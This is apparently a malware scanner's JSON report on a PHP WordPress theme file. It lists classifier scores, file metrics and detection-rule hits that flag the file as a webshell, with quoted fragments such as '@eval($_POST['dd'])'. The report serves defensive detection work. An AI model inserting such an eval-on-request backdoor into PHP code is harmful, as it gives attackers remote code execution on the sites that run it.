{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9998592138290405, "class": 2 } ], "prob": 0.9998592, "class": 2, "models": [ { "m": "az", "prob": 0.968088, "class": 0 }, { "m": "az/scripts", "prob": 0.99977416, "class": 2 }, { "m": "az/php", "prob": 0.9998592, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T14:51:56Z" }, "path": "067476fff4556c778b466a0f764ad40e", "raw": { "v": "4", "fs": [ { "f": "O₂(C₄Xe)H₄(PoCmOsDb)MdTh", "k": { "source.imports[0]": "bloginfo", "source.imports[1]": "eval", "source.imports[2]": "get_bloginfo", "source.imports[3]": "get_footer", "source.imports[4]": "get_header", "source.imports[5]": "get_template", "source.imports[6]": "get_theme_root", "source.imports[7]": "mwp_csa_border", "source.imports[8]": "mwp_option", "source.strings[0]": "/core/header.urgent.news.php", "source.strings[1]": "/core/home.newsbar.php", "source.strings[2]": "custom-style", "source.strings[3]": "template_directory", "source.strings[4]": "themestyle", "source.strings[5]": "urgentnewsdisplay", "source.has_imports": true }, "x": 213, "id": 0, "is": [ "eval", "eval", "eval", "eval", "eval", "eval", "eval", "eval", "get_header", "mwp_option", "get_theme_root", "get_template", "mwp_option", "mwp_option", "get_theme_root", "get_template", "mwp_csa_border", "bloginfo", "get_bloginfo", "get_bloginfo", "get_footer" ], "ms": { "file": { "size": 2261.0 }, "text": { "tab_count": 201.0, "digit_ratio": 0.01, "space_count": 146.0, "total_lines": 63.0, "char_entropy": 5.45, "unique_chars": 87.0, "import_density": 33.33, "lines_over_200": 3.0, "string_density": 0.67, "avg_line_length": 34.9, "high_byte_ratio": 0.36, "max_line_length": 246.0, "non_ascii_ratio": 0.36, "empty_line_ratio": 0.37, "last_line_length": 22.0, "most_common_char": "Ø", "whitespace_ratio": 0.18, "most_common_ratio": 0.11, "identifier_density": 0.46, "line_length_stddev": 55.8, "normalized_import_count": 2.65, "normalized_string_count": 5.29, "max_inline_whitespace_run": 1.0, "trailing_whitespace_lines": 19.0, "normalized_unique_identifiers": 1.67 }, "imports": { "total": 21.0, "unique_modules": 9.0, "third_party_count": 21.0, "third_party_ratio": 1.0 }, "strings": { "total": 42.0, "avg_length": 7.38, "max_length": 28.0, "path_count": 4.0, "avg_entropy": 1.43, "total_bytes": 310.0, "entropy_stddev": 1.59 }, "comments": { "chars": 84.0, "lines": 2.0, "total": 2.0, "to_code_ratio": 0.03 }, "functions": {}, "identifiers": { "total": 29.0, "avg_length": 9.9, "max_length": 14.0, "min_length": 4.0, "avg_entropy": 2.8, "reuse_ratio": 0.34, "unique_count": 10.0, "length_stddev": 3.24, "high_entropy_count": 1.0, "high_entropy_ratio": 0.1, "all_lowercase_ratio": 0.9, "all_uppercase_ratio": 0.1, "underscore_prefix_count": 1.0 } }, "ss": [ [ 19, "dd" ], [ 20, "dd" ], [ 47, "dd" ], [ 48, "dd" ], [ 75, "dd" ], [ 76, "dd" ], [ 103, "dd" ], [ 104, "dd" ], [ 131, "dd" ], [ 132, "dd" ], [ 159, "dd" ], [ 160, "dd" ], [ 187, "dd" ], [ 188, "dd" ], [ 215, "dd" ], [ 216, "dd" ], [ 335, "themestyle" ], [ 336, "themestyle" ], [ 352, "custom-style" ], [ 353, "custom-style" ], [ 459, "/" ], [ 460, "/" ], [ 480, "/core/home.newsbar.php" ], [ 481, "/core/home.newsbar.php" ], [ 546, "themestyle" ], [ 547, "themestyle" ], [ 563, "custom-style" ], [ 564, "custom-style" ], [ 670, "urgentnewsdisplay" ], [ 671, "urgentnewsdisplay" ], [ 694, "1" ], [ 695, "1" ], [ 733, "/" ], [ 734, "/" ], [ 754, "/core/header.urgent.news.php" ], [ 755, "/core/header.urgent.news.php" ], [ 1002, "template_directory" ], [ 1003, "template_directory" ], [ 1704, "url" ], [ 1705, "url" ], [ 1735, "name" ], [ 1736, "name" ] ], "sz": 2261, "ts": [ { "a": "T1505.003", "c": 0.8799999952316284, "d": "Regex component marker", "e": [ "eval" ], "i": "objectives/command-and-control/backdoor/webshell/exec::dangerous-php-function-cluster--rx-16", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8500000238418579, "d": "PHP request superglobal access", "e": [ "$_POST" ], "i": "objectives/command-and-control/backdoor/webshell/upload::php-request-variadic-function-call", "l": 3, "m": "B0030" }, { "c": 0.7599999904632568, "d": "Regex component marker", "e": [ "directory" ], "i": "micro-behaviors/data/text/llm/action::llm-path-navigation-action--rx-21", "l": 1 }, { "a": "T1059", "c": 0.8500000238418579, "d": "HTTP POST parameter access ($_POST)", "e": [ "$_POST" ], "i": "micro-behaviors/communications/http/request/params::post-dup", "l": 3 }, { "a": "T1059.006", "c": 0.75, "d": "PHP eval() token present", "e": [ "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-symbol", "l": 4, "m": "E1059" }, { "a": "T1059.006", "c": 0.9800000190734863, "d": "eval() call with direct user input", "e": [ "$_POST['dd']", "eval" ], "i": "micro-behaviors/process/interpreter/eval::eval-user-input", "l": 4, "m": "E1059" }, { "c": 0.8999999761581421, "d": "File has 30 or more lines", "e": [ "text.total_lines = 63.00" ], "i": "metadata/file/text/metrics::file-has-30-plus-lines", "l": 1 }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "c": 0.699999988079071, "d": "PHP error suppression operator usage", "e": [ "@eval($_POST['dd'])" ], "i": "micro-behaviors/os/stdio::error-suppress-prefix", "l": 3 }, { "a": "T1505.003", "c": 0.4000000059604645, "d": "PHP $_POST parameter access", "e": [ "$_POST[" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-post", "l": 1, "m": "B0030" }, { "a": "T1059.001", "c": 0.8999999761581421, "d": "Error-suppressed eval (@eval)", "e": [ "@eval(" ], "i": "objectives/execution/interpreter/eval/remote::eval-error-suppressed", "l": 4, "m": "E1059" }, { "c": 0.699999988079071, "d": "AJAX request handler pattern", "e": [ "$_POST['dd']" ], "i": "objectives/command-and-control/backdoor/webshell/ui::ajax-handler", "l": 4, "m": "B0030" }, { "c": 1.0, "d": "php code embedded in string", "e": [ "Detected php at offset 0x0" ], "i": "metadata/lang/embedded::php", "l": 2 }, { "c": 0.8999999761581421, "d": "Generic PHP webshell which uses any eval/exec function in the same line with user input", "e": [ "eval($_POST" ], "i": "third_party/SigBase/WEBSHELL/PHP/Generic/Eval", "l": 5 } ], "sha": "6c8cbca56badc856b122e0abe8652335f6a9ce8312c68c07f719ea92de865521", "path": "067476fff4556c778b466a0f764ad40e", "type": "php" } ], "tv": "0a4d2" } }